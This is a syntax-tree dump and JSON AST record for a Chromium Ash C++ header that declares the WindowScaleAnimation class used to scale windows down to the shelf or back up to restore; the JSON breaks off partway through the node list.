(preproc_include) "#include "base/callback.h"\n" (#include) "#include" (string_literal) ""base/callback.h"" (") """ (string_content) "base/callback.h" (") """ (preproc_include) "#include "base/callback_helpers.h"\n" (#include) "#include" (string_literal) ""base/callback_helpers.h"" (") """ (string_content) "base/callback_helpers.h" (") """ (preproc_include) "#include "base/macros.h"\n" (#include) "#include" (string_literal) ""base/macros.h"" (") """ (string_content) "base/macros.h" (") """ (preproc_include) "#include "base/scoped_observation.h"\n" (#include) "#include" (string_literal) ""base/scoped_observation.h"" (") """ (string_content) "base/scoped_observation.h" (") """ (preproc_include) "#include "ui/aura/window.h"\n" (#include) "#include" (string_literal) ""ui/aura/window.h"" (") """ (string_content) "ui/aura/window.h" (") """ (function_definition) "namespace ash {\n\nenum class BackdropWindowMode;\n\n// The class which does the scale-down animation to shelf or scale-up to restore\n// to its original bounds for all windows in the transient tree of |window_|\n// after drag ends. Window(s) will be minimized with the descending order\n// in the transient tree after animation completes if we're scaling down to\n// shelf.\nclass ASH_EXPORT WindowScaleAnimation {\n public:\n enum class WindowScaleType {\n kScaleDownToShelf,\n kScaleUpToRestore,\n };\n\n WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback);\n\n WindowScaleAnimation(const WindowScaleAnimation&) = delete;\n WindowScaleAnimation& operator=(const WindowScaleAnimation&) = delete;\n\n ~WindowScaleAnimation();\n\n // For tests only:\n static base::AutoReset<bool>\n EnableScopedFastAnimationForTransientChildForTest();\n\n private:\n class AnimationObserver;\n\n void DestroyWindowAnimationObserver(\n WindowScaleAnimation::AnimationObserver* animation_observer);\n\n void OnScaleWindowsOnAnimationsCompleted();\n\n aura::Window* window_;\n base::OnceClosure opt_callback_;\n\n const WindowScaleType scale_type_;\n\n // Each window in the transient tree has its own |WindowAnimationObserver|.\n std::vector<std::unique_ptr<AnimationObserver>> window_animation_observers_;\n};\n\n}" (type_identifier) "namespace" (identifier) "ash" (compound_statement) "{\n\nenum class BackdropWindowMode;\n\n// The class which does the scale-down animation to shelf or scale-up to restore\n// to its original bounds for all windows in the transient tree of |window_|\n// after drag ends. Window(s) will be minimized with the descending order\n// in the transient tree after animation completes if we're scaling down to\n// shelf.\nclass ASH_EXPORT WindowScaleAnimation {\n public:\n enum class WindowScaleType {\n kScaleDownToShelf,\n kScaleUpToRestore,\n };\n\n WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback);\n\n WindowScaleAnimation(const WindowScaleAnimation&) = delete;\n WindowScaleAnimation& operator=(const WindowScaleAnimation&) = delete;\n\n ~WindowScaleAnimation();\n\n // For tests only:\n static base::AutoReset<bool>\n EnableScopedFastAnimationForTransientChildForTest();\n\n private:\n class AnimationObserver;\n\n void DestroyWindowAnimationObserver(\n WindowScaleAnimation::AnimationObserver* animation_observer);\n\n void OnScaleWindowsOnAnimationsCompleted();\n\n aura::Window* window_;\n base::OnceClosure opt_callback_;\n\n const WindowScaleType scale_type_;\n\n // Each window in the transient tree has its own |WindowAnimationObserver|.\n std::vector<std::unique_ptr<AnimationObserver>> window_animation_observers_;\n};\n\n}" ({) "{" (declaration) "enum class BackdropWindowMode;" (enum_specifier) "enum class" (enum) "enum" (type_identifier) "class" (identifier) "BackdropWindowMode" (;) ";" (comment) "// The class which does the scale-down animation to shelf or scale-up to restore" (comment) "// to its original bounds for all windows in the transient tree of |window_|" (comment) "// after drag ends. Window(s) will be minimized with the descending order" (comment) "// in the transient tree after animation completes if we're scaling down to" (comment) "// shelf." (function_definition) "class ASH_EXPORT WindowScaleAnimation {\n public:\n enum class WindowScaleType {\n kScaleDownToShelf,\n kScaleUpToRestore,\n };\n\n WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback);\n\n WindowScaleAnimation(const WindowScaleAnimation&) = delete;\n WindowScaleAnimation& operator=(const WindowScaleAnimation&) = delete;\n\n ~WindowScaleAnimation();\n\n // For tests only:\n static base::AutoReset<bool>\n EnableScopedFastAnimationForTransientChildForTest();\n\n private:\n class AnimationObserver;\n\n void DestroyWindowAnimationObserver(\n WindowScaleAnimation::AnimationObserver* animation_observer);\n\n void OnScaleWindowsOnAnimationsCompleted();\n\n aura::Window* window_;\n base::OnceClosure opt_callback_;\n\n const WindowScaleType scale_type_;\n\n // Each window in the transient tree has its own |WindowAnimationObserver|.\n std::vector<std::unique_ptr<AnimationObserver>> window_animation_observers_;\n}" (type_identifier) "class" (ERROR) "ASH_EXPORT" (identifier) "ASH_EXPORT" (identifier) "WindowScaleAnimation" (compound_statement) "{\n public:\n enum class WindowScaleType {\n kScaleDownToShelf,\n kScaleUpToRestore,\n };\n\n WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback);\n\n WindowScaleAnimation(const WindowScaleAnimation&) = delete;\n WindowScaleAnimation& operator=(const WindowScaleAnimation&) = delete;\n\n ~WindowScaleAnimation();\n\n // For tests only:\n static base::AutoReset<bool>\n EnableScopedFastAnimationForTransientChildForTest();\n\n private:\n class AnimationObserver;\n\n void DestroyWindowAnimationObserver(\n WindowScaleAnimation::AnimationObserver* animation_observer);\n\n void OnScaleWindowsOnAnimationsCompleted();\n\n aura::Window* window_;\n base::OnceClosure opt_callback_;\n\n const WindowScaleType scale_type_;\n\n // Each window in the transient tree has its own |WindowAnimationObserver|.\n std::vector<std::unique_ptr<AnimationObserver>> window_animation_observers_;\n}" ({) "{" (labeled_statement) "public:\n enum class WindowScaleType {\n kScaleDownToShelf,\n kScaleUpToRestore,\n };\n\n WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback);" (statement_identifier) "public" (:) ":" (declaration) "enum class WindowScaleType {\n kScaleDownToShelf,\n kScaleUpToRestore,\n };\n\n WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback);" (enum_specifier) "enum class" (enum) "enum" (type_identifier) "class" (ERROR) "WindowScaleType {" (identifier) "WindowScaleType" ({) "{" (identifier) "kScaleDownToShelf" (,) "," (identifier) "kScaleUpToRestore" (,) "," (ERROR) "};" (}) "}" (;) ";" (function_declarator) "WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback)" (identifier) "WindowScaleAnimation" (parameter_list) "(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback)" (() "(" (parameter_declaration) "aura::Window* window" (type_identifier) "aura" (ERROR) "::Window" (:) ":" (:) ":" (identifier) "Window" (pointer_declarator) "* window" (*) "*" (identifier) "window" (,) "," (parameter_declaration) "WindowScaleType scale_type" (type_identifier) "WindowScaleType" (identifier) "scale_type" (,) "," (parameter_declaration) "base::OnceClosure opt_callback" (type_identifier) "base" (ERROR) "::OnceClosure" (:) ":" (:) ":" (identifier) "OnceClosure" (identifier) "opt_callback" ()) ")" (;) ";" (declaration) "WindowScaleAnimation(const WindowScaleAnimation&) = delete;" (macro_type_specifier) "WindowScaleAnimation(const WindowScaleAnimation&)" (identifier) "WindowScaleAnimation" (() "(" (type_descriptor) "const WindowScaleAnimation" (type_qualifier) "const" (const) "const" (type_identifier) "WindowScaleAnimation" (ERROR) "&" (&) "&" ()) ")" (ERROR) "=" (=) "=" (identifier) "delete" (;) ";" (expression_statement) "WindowScaleAnimation& operator=(const WindowScaleAnimation&) = delete;" (binary_expression) "WindowScaleAnimation& operator=(const WindowScaleAnimation&) = delete" (identifier) "WindowScaleAnimation" (&) "&" (assignment_expression) "operator=(const WindowScaleAnimation&) = delete" (identifier) "operator" (=) "=" (cast_expression) "(const WindowScaleAnimation&) = delete" (() "(" (type_descriptor) "const WindowScaleAnimation" (type_qualifier) "const" (const) "const" (type_identifier) "WindowScaleAnimation" (ERROR) "&" (&) "&" ()) ")" (ERROR) "=" (=) "=" (identifier) "delete" (;) ";" (expression_statement) "~WindowScaleAnimation();" (unary_expression) "~WindowScaleAnimation()" (~) "~" (call_expression) "WindowScaleAnimation()" (identifier) "WindowScaleAnimation" (argument_list) "()" (() "(" ()) ")" (;) ";" (comment) "// For tests only:" (declaration) "static base::AutoReset<bool>\n EnableScopedFastAnimationForTransientChildForTest();" (storage_class_specifier) "static" (static) "static" (type_identifier) "base" (ERROR) "::AutoReset<bool>" (:) ":" (:) ":" (identifier) "AutoReset" (<) "<" (primitive_type) "bool" (>) ">" (function_declarator) "EnableScopedFastAnimationForTransientChildForTest()" (identifier) "EnableScopedFastAnimationForTransientChildForTest" (parameter_list) "()" (() "(" ()) ")" (;) ";" (labeled_statement) "private:\n class AnimationObserver;" (statement_identifier) "private" (:) ":" (declaration) "class AnimationObserver;" (type_identifier) "class" (identifier) "AnimationObserver" (;) ";" (declaration) "void DestroyWindowAnimationObserver(\n WindowScaleAnimation::AnimationObserver* animation_observer);" (primitive_type) "void" (function_declarator) "DestroyWindowAnimationObserver(\n WindowScaleAnimation::AnimationObserver* animation_observer)" (identifier) "DestroyWindowAnimationObserver" (parameter_list) "(\n WindowScaleAnimation::AnimationObserver* animation_observer)" (() "(" (parameter_declaration) "WindowScaleAnimation::AnimationObserver* animation_observer" (type_identifier) "WindowScaleAnimation" (ERROR) "::AnimationObserver" (:) ":" (:) ":" (identifier) "AnimationObserver" (pointer_declarator) "* animation_observer" (*) "*" (identifier) "animation_observer" ()) ")" (;) ";" (declaration) "void OnScaleWindowsOnAnimationsCompleted();" (primitive_type) "void" (function_declarator) "OnScaleWindowsOnAnimationsCompleted()" (identifier) "OnScaleWindowsOnAnimationsCompleted" (parameter_list) "()" (() "(" ()) ")" (;) ";" (labeled_statement) "aura::Window* window_;" (statement_identifier) "aura" (:) ":" (ERROR) ":" (:) ":" (declaration) "Window* window_;" (type_identifier) "Window" (pointer_declarator) "* window_" (*) "*" (identifier) "window_" (;) ";" (labeled_statement) "base::OnceClosure opt_callback_;" (statement_identifier) "base" (:) ":" (ERROR) ":" (:) ":" (declaration) "OnceClosure opt_callback_;" (type_identifier) "OnceClosure" (identifier) "opt_callback_" (;) ";" (declaration) "const WindowScaleType scale_type_;" (type_qualifier) "const" (const) "const" (type_identifier) "WindowScaleType" (identifier) "scale_type_" (;) ";" (comment) "// Each window in the transient tree has its own |WindowAnimationObserver|." (labeled_statement) "std::vector<std::unique_ptr<AnimationObserver>> window_animation_observers_;" (statement_identifier) "std" (ERROR) "::vector<std:" (:) ":" (:) ":" (binary_expression) "vector<std" (identifier) "vector" (<) "<" (identifier) "std" (:) ":" (:) ":" (expression_statement) "unique_ptr<AnimationObserver>> window_animation_observers_;" (binary_expression) "unique_ptr<AnimationObserver>> window_animation_observers_" (identifier) "unique_ptr" (<) "<" (binary_expression) "AnimationObserver>> window_animation_observers_" (identifier) "AnimationObserver" (>>) ">>" (identifier) "window_animation_observers_" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (}) "}" (comment) "// namespace ash" (#endif) "#endif" (comment) "// ASH_SHELF_WINDOW_SCALE_ANIMATION_H_"
273
14
{"language": "c", "success": true, "metadata": {"lines": 49, "avg_line_length": 38.37, "nodes": 153, "errors": 0, "source_hash": "f0d7fa074b5f6bd5df5f8b3c3088d97cad6e2d37d7434bc9e5537cee7ad2e5b6", "categorized_nodes": 111}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef ASH_SHELF_WINDOW_SCALE_ANIMATION_H_\n#define ASH_SHELF_WINDOW_SCALE_ANIMATION_H_\n\n#include <memory>\n#include <vector>\n\n#include \"ash/ash_export.h\"\n#include \"base/auto_reset.h\"\n#include \"base/callback.h\"\n#include \"base/callback_helpers.h\"\n#include \"base/macros.h\"\n#include \"base/scoped_observation.h\"\n#include \"ui/aura/window.h\"\n\nnamespace ash {\n\nenum class BackdropWindowMode;\n\n// The class which does the scale-down animation to shelf or scale-up to restore\n// to its original bounds for all windows in the transient tree of |window_|\n// after drag ends. Window(s) will be minimized with the descending order\n// in the transient tree after animation completes if we're scaling down to\n// shelf.\nclass ASH_EXPORT WindowScaleAnimation {\n public:\n enum class WindowScaleType {\n kScaleDownToShelf,\n kScaleUpToRestore,\n };\n\n WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback);\n\n WindowScaleAnimation(const WindowScaleAnimation&) = delete;\n WindowScaleAnimation& operator=(const WindowScaleAnimation&) = delete;\n\n ~WindowScaleAnimation();\n\n // For tests only:\n static base::AutoReset<bool>\n EnableScopedFastAnimationForTransientChildForTest();\n\n private:\n class AnimationObserver;\n\n void DestroyWindowAnimationObserver(\n WindowScaleAnimation::AnimationObserver* animation_observer);\n\n void OnScaleWindowsOnAnimationsCompleted();\n\n aura::Window* window_;\n base::OnceClosure opt_callback_;\n\n const WindowScaleType scale_type_;\n\n // Each window in the transient tree has its own |WindowAnimationObserver|.\n std::vector<std::unique_ptr<AnimationObserver>> window_animation_observers_;\n};\n\n} // namespace ash\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 15, 18, 21, 24, 27, 30, 33, 152], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 66, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 7}}, {"id": 2, "type": "identifier", "text": "ASH_SHELF_WINDOW_SCALE_ANIMATION_H_", "parent": 0, "children": [], "start_point": {"row": 4, "column": 8}, "end_point": {"row": 4, "column": 43}}, {"id": 3, "type": "preproc_def", "text": "#define ASH_SHELF_WINDOW_SCALE_ANIMATION_H_\n", "parent": 0, "children": [4, 5], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 7}}, {"id": 5, "type": "identifier", "text": "ASH_SHELF_WINDOW_SCALE_ANIMATION_H_", "parent": 3, "children": [], "start_point": {"row": 5, "column": 8}, "end_point": {"row": 5, "column": 43}}, {"id": 6, "type": "preproc_include", "text": "#include <memory>\n", "parent": 0, "children": [7, 8], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<memory>", "parent": 6, "children": [], "start_point": {"row": 7, "column": 9}, "end_point": {"row": 7, "column": 17}}, {"id": 9, "type": "preproc_include", "text": "#include <vector>\n", "parent": 0, "children": [10, 11], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 8}}, {"id": 11, "type": "system_lib_string", "text": "<vector>", "parent": 9, "children": [], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 17}}, {"id": 12, "type": "preproc_include", "text": "#include \"ash/ash_export.h\"\n", "parent": 0, "children": [13, 14], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 11, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 8}}, {"id": 14, "type": "string_literal", "text": "\"ash/ash_export.h\"", "parent": 12, "children": [], "start_point": {"row": 10, "column": 9}, "end_point": {"row": 10, "column": 27}}, {"id": 15, "type": "preproc_include", "text": "#include \"base/auto_reset.h\"\n", "parent": 0, "children": [16, 17], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 12, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 8}}, {"id": 17, "type": "string_literal", "text": "\"base/auto_reset.h\"", "parent": 15, "children": [], "start_point": {"row": 11, "column": 9}, "end_point": {"row": 11, "column": 28}}, {"id": 18, "type": "preproc_include", "text": "#include \"base/callback.h\"\n", "parent": 0, "children": [19, 20], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 13, "column": 0}}, {"id": 19, "type": "#include", "text": "#include", "parent": 18, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 8}}, {"id": 20, "type": "string_literal", "text": "\"base/callback.h\"", "parent": 18, "children": [], "start_point": {"row": 12, "column": 9}, "end_point": {"row": 12, "column": 26}}, {"id": 21, "type": "preproc_include", "text": "#include \"base/callback_helpers.h\"\n", "parent": 0, "children": [22, 23], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 14, "column": 0}}, {"id": 22, "type": "#include", "text": "#include", "parent": 21, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 8}}, {"id": 23, "type": "string_literal", "text": "\"base/callback_helpers.h\"", "parent": 21, "children": [], "start_point": {"row": 13, "column": 9}, "end_point": {"row": 13, "column": 34}}, {"id": 24, "type": "preproc_include", "text": "#include \"base/macros.h\"\n", "parent": 0, "children": [25, 26], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 15, "column": 0}}, {"id": 25, "type": "#include", "text": "#include", "parent": 24, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 8}}, {"id": 26, "type": "string_literal", "text": "\"base/macros.h\"", "parent": 24, "children": [], "start_point": {"row": 14, "column": 9}, "end_point": {"row": 14, "column": 24}}, {"id": 27, "type": "preproc_include", "text": "#include \"base/scoped_observation.h\"\n", "parent": 0, "children": [28, 29], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 16, "column": 0}}, {"id": 28, "type": "#include", "text": "#include", "parent": 27, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 8}}, {"id": 29, "type": "string_literal", "text": "\"base/scoped_observation.h\"", "parent": 27, "children": [], "start_point": {"row": 15, "column": 9}, "end_point": {"row": 15, "column": 36}}, {"id": 30, "type": "preproc_include", "text": "#include \"ui/aura/window.h\"\n", "parent": 0, "children": [31, 32], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 17, "column": 0}}, {"id": 31, "type": "#include", "text": "#include", "parent": 30, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 8}}, {"id": 32, "type": "string_literal", "text": "\"ui/aura/window.h\"", "parent": 30, "children": [], "start_point": {"row": 16, "column": 9}, "end_point": {"row": 16, "column": 27}}, {"id": 33, "type": "function_definition", "text": "namespace ash {\n\nenum class BackdropWindowMode;\n\n// The class which does the scale-down animation to shelf or scale-up to restore\n// to its original bounds for all windows in the transient tree of |window_|\n// after drag ends. Window(s) will be minimized with the descending order\n// in the transient tree after animation completes if we're scaling down to\n// shelf.\nclass ASH_EXPORT WindowScaleAnimation {\n public:\n enum class WindowScaleType {\n kScaleDownToShelf,\n kScaleUpToRestore,\n };\n\n WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback);\n\n WindowScaleAnimation(const WindowScaleAnimation&) = delete;\n WindowScaleAnimation& operator=(const WindowScaleAnimation&) = delete;\n\n ~WindowScaleAnimation();\n\n // For tests only:\n static base::AutoReset<bool>\n EnableScopedFastAnimationForTransientChildForTest();\n\n private:\n class AnimationObserver;\n\n void DestroyWindowAnimationObserver(\n WindowScaleAnimation::AnimationObserver* animation_observer);\n\n void OnScaleWindowsOnAnimationsCompleted();\n\n aura::Window* window_;\n base::OnceClosure opt_callback_;\n\n const WindowScaleType scale_type_;\n\n // Each window in the transient tree has its own |WindowAnimationObserver|.\n std::vector<std::unique_ptr<AnimationObserver>> window_animation_observers_;\n};\n\n}", "parent": 0, "children": [34, 35], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 64, "column": 1}}, {"id": 34, "type": "type_identifier", "text": "namespace", "parent": 33, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 9}}, {"id": 35, "type": "identifier", "text": "ash", "parent": 33, "children": [], "start_point": {"row": 18, "column": 10}, "end_point": {"row": 18, "column": 13}}, {"id": 36, "type": "declaration", "text": "enum class BackdropWindowMode;", "parent": 33, "children": [37, 39], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 30}}, {"id": 37, "type": "enum_specifier", "text": "enum class", "parent": 36, "children": [38], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 10}}, {"id": 38, "type": "enum", "text": "enum", "parent": 37, "children": [], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 4}}, {"id": 39, "type": "identifier", "text": "BackdropWindowMode", "parent": 36, "children": [], "start_point": {"row": 20, "column": 11}, "end_point": {"row": 20, "column": 29}}, {"id": 40, "type": "function_definition", "text": "class ASH_EXPORT WindowScaleAnimation {\n public:\n enum class WindowScaleType {\n kScaleDownToShelf,\n kScaleUpToRestore,\n };\n\n WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback);\n\n WindowScaleAnimation(const WindowScaleAnimation&) = delete;\n WindowScaleAnimation& operator=(const WindowScaleAnimation&) = delete;\n\n ~WindowScaleAnimation();\n\n // For tests only:\n static base::AutoReset<bool>\n EnableScopedFastAnimationForTransientChildForTest();\n\n private:\n class AnimationObserver;\n\n void DestroyWindowAnimationObserver(\n WindowScaleAnimation::AnimationObserver* animation_observer);\n\n void OnScaleWindowsOnAnimationsCompleted();\n\n aura::Window* window_;\n base::OnceClosure opt_callback_;\n\n const WindowScaleType scale_type_;\n\n // Each window in the transient tree has its own |WindowAnimationObserver|.\n std::vector<std::unique_ptr<AnimationObserver>> window_animation_observers_;\n}", "parent": 33, "children": [41, 43], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 62, "column": 1}}, {"id": 41, "type": "ERROR", "text": "ASH_EXPORT", "parent": 40, "children": [42], "start_point": {"row": 27, "column": 6}, "end_point": {"row": 27, "column": 16}}, {"id": 42, "type": "identifier", "text": "ASH_EXPORT", "parent": 41, "children": [], "start_point": {"row": 27, "column": 6}, "end_point": {"row": 27, "column": 16}}, {"id": 43, "type": "identifier", "text": "WindowScaleAnimation", "parent": 40, "children": [], "start_point": {"row": 27, "column": 17}, "end_point": {"row": 27, "column": 37}}, {"id": 44, "type": "labeled_statement", "text": "public:\n enum class WindowScaleType {\n kScaleDownToShelf,\n kScaleUpToRestore,\n };\n\n WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback);", "parent": 40, "children": [45], "start_point": {"row": 28, "column": 1}, "end_point": {"row": 36, "column": 55}}, {"id": 45, "type": "declaration", "text": "enum class WindowScaleType {\n kScaleDownToShelf,\n kScaleUpToRestore,\n };\n\n WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback);", "parent": 44, "children": [46, 48, 50, 51, 52, 53], "start_point": {"row": 29, "column": 2}, "end_point": {"row": 36, "column": 55}}, {"id": 46, "type": "enum_specifier", "text": "enum class", "parent": 45, "children": [47], "start_point": {"row": 29, "column": 2}, "end_point": {"row": 29, "column": 12}}, {"id": 47, "type": "enum", "text": "enum", "parent": 46, "children": [], "start_point": {"row": 29, "column": 2}, "end_point": {"row": 29, "column": 6}}, {"id": 48, "type": "ERROR", "text": "WindowScaleType {", "parent": 45, "children": [49], "start_point": {"row": 29, "column": 13}, "end_point": {"row": 29, "column": 30}}, {"id": 49, "type": "identifier", "text": "WindowScaleType", "parent": 48, "children": [], "start_point": {"row": 29, "column": 13}, "end_point": {"row": 29, "column": 28}}, {"id": 50, "type": "identifier", "text": "kScaleDownToShelf", "parent": 45, "children": [], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 30, "column": 21}}, {"id": 51, "type": "identifier", "text": "kScaleUpToRestore", "parent": 45, "children": [], "start_point": {"row": 31, "column": 4}, "end_point": {"row": 31, "column": 21}}, {"id": 52, "type": "ERROR", "text": "};", "parent": 45, "children": [], "start_point": {"row": 32, "column": 2}, "end_point": {"row": 32, "column": 4}}, {"id": 53, "type": "function_declarator", "text": "WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback)", "parent": 45, "children": [54, 55], "start_point": {"row": 34, "column": 2}, "end_point": {"row": 36, "column": 54}}, {"id": 54, "type": "identifier", "text": "WindowScaleAnimation", "parent": 53, "children": [], "start_point": {"row": 34, "column": 2}, "end_point": {"row": 34, "column": 22}}, {"id": 55, "type": "parameter_list", "text": "(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback)", "parent": 53, "children": [56, 63, 66], "start_point": {"row": 34, "column": 22}, "end_point": {"row": 36, "column": 54}}, {"id": 56, "type": "parameter_declaration", "text": "aura::Window* window", "parent": 55, "children": [57, 58, 60], "start_point": {"row": 34, "column": 23}, "end_point": {"row": 34, "column": 43}}, {"id": 57, "type": "type_identifier", "text": "aura", "parent": 56, "children": [], "start_point": {"row": 34, "column": 23}, "end_point": {"row": 34, "column": 27}}, {"id": 58, "type": "ERROR", "text": "::Window", "parent": 56, "children": [59], "start_point": {"row": 34, "column": 27}, "end_point": {"row": 34, "column": 35}}, {"id": 59, "type": "identifier", "text": "Window", "parent": 58, "children": [], "start_point": {"row": 34, "column": 29}, "end_point": {"row": 34, "column": 35}}, {"id": 60, "type": "pointer_declarator", "text": "* window", "parent": 56, "children": [61, 62], "start_point": {"row": 34, "column": 35}, "end_point": {"row": 34, "column": 43}}, {"id": 61, "type": "*", "text": "*", "parent": 60, "children": [], "start_point": {"row": 34, "column": 35}, "end_point": {"row": 34, "column": 36}}, {"id": 62, "type": "identifier", "text": "window", "parent": 60, "children": [], "start_point": {"row": 34, "column": 37}, "end_point": {"row": 34, "column": 43}}, {"id": 63, "type": "parameter_declaration", "text": "WindowScaleType scale_type", "parent": 55, "children": [64, 65], "start_point": {"row": 35, "column": 23}, "end_point": {"row": 35, "column": 49}}, {"id": 64, "type": "type_identifier", "text": "WindowScaleType", "parent": 63, "children": [], "start_point": {"row": 35, "column": 23}, "end_point": {"row": 35, "column": 38}}, {"id": 65, "type": "identifier", "text": "scale_type", "parent": 63, "children": [], "start_point": {"row": 35, "column": 39}, "end_point": {"row": 35, "column": 49}}, {"id": 66, "type": "parameter_declaration", "text": "base::OnceClosure opt_callback", "parent": 55, "children": [67, 68, 70], "start_point": {"row": 36, "column": 23}, "end_point": {"row": 36, "column": 53}}, {"id": 67, "type": "type_identifier", "text": "base", "parent": 66, "children": [], "start_point": {"row": 36, "column": 23}, "end_point": {"row": 36, "column": 27}}, {"id": 68, "type": "ERROR", "text": "::OnceClosure", "parent": 66, "children": [69], "start_point": {"row": 36, "column": 27}, "end_point": {"row": 36, "column": 40}}, {"id": 69, "type": "identifier", "text": "OnceClosure", "parent": 68, "children": [], "start_point": {"row": 36, "column": 29}, "end_point": {"row": 36, "column": 40}}, {"id": 70, "type": "identifier", "text": "opt_callback", "parent": 66, "children": [], "start_point": {"row": 36, "column": 41}, "end_point": {"row": 36, "column": 53}}, {"id": 71, "type": "declaration", "text": "WindowScaleAnimation(const WindowScaleAnimation&) = delete;", "parent": 40, "children": [72, 76], "start_point": {"row": 38, "column": 2}, "end_point": {"row": 38, "column": 61}}, {"id": 72, "type": "macro_type_specifier", "text": "WindowScaleAnimation(const WindowScaleAnimation&)", "parent": 71, "children": [73, 74], "start_point": {"row": 38, "column": 2}, "end_point": {"row": 38, "column": 51}}, {"id": 73, "type": "identifier", "text": "WindowScaleAnimation", "parent": 72, "children": [], "start_point": {"row": 38, "column": 2}, "end_point": {"row": 38, "column": 22}}, {"id": 74, "type": "type_descriptor", "text": "const WindowScaleAnimation", "parent": 72, "children": [75], "start_point": {"row": 38, "column": 23}, "end_point": {"row": 38, "column": 49}}, {"id": 75, "type": "type_identifier", "text": "WindowScaleAnimation", "parent": 74, "children": [], "start_point": {"row": 38, "column": 29}, "end_point": {"row": 38, "column": 49}}, {"id": 76, "type": "ERROR", "text": "=", "parent": 71, "children": [77], "start_point": {"row": 38, "column": 52}, "end_point": {"row": 38, "column": 53}}, {"id": 77, "type": "=", "text": "=", "parent": 76, "children": [], "start_point": {"row": 38, "column": 52}, "end_point": {"row": 38, "column": 53}}, {"id": 78, "type": "binary_expression", "text": "WindowScaleAnimation& operator=(const WindowScaleAnimation&) = delete", "parent": 40, "children": [79, 80], "start_point": {"row": 39, "column": 2}, "end_point": {"row": 39, "column": 71}}, {"id": 79, "type": "identifier", "text": "WindowScaleAnimation", "parent": 78, "children": [], "start_point": {"row": 39, "column": 2}, "end_point": {"row": 39, "column": 22}}, {"id": 80, "type": "assignment_expression", "text": "operator=(const WindowScaleAnimation&) = delete", "parent": 78, "children": [81, 82, 83], "start_point": {"row": 39, "column": 24}, "end_point": {"row": 39, "column": 71}}, {"id": 81, "type": "identifier", "text": "operator", "parent": 80, "children": [], "start_point": {"row": 39, "column": 24}, "end_point": {"row": 39, "column": 32}}, {"id": 82, "type": "=", "text": "=", "parent": 80, "children": [], "start_point": {"row": 39, "column": 32}, "end_point": {"row": 39, "column": 33}}, {"id": 83, "type": "cast_expression", "text": "(const WindowScaleAnimation&) = delete", "parent": 80, "children": [84, 86], "start_point": {"row": 39, "column": 33}, "end_point": {"row": 39, "column": 71}}, {"id": 84, "type": "type_descriptor", "text": "const WindowScaleAnimation", "parent": 83, "children": [85], "start_point": {"row": 39, "column": 34}, "end_point": {"row": 39, "column": 60}}, {"id": 85, "type": "type_identifier", "text": "WindowScaleAnimation", "parent": 84, "children": [], "start_point": {"row": 39, "column": 40}, "end_point": {"row": 39, "column": 60}}, {"id": 86, "type": "ERROR", "text": "=", "parent": 83, "children": [87], "start_point": {"row": 39, "column": 63}, "end_point": {"row": 39, "column": 64}}, {"id": 87, "type": "=", "text": 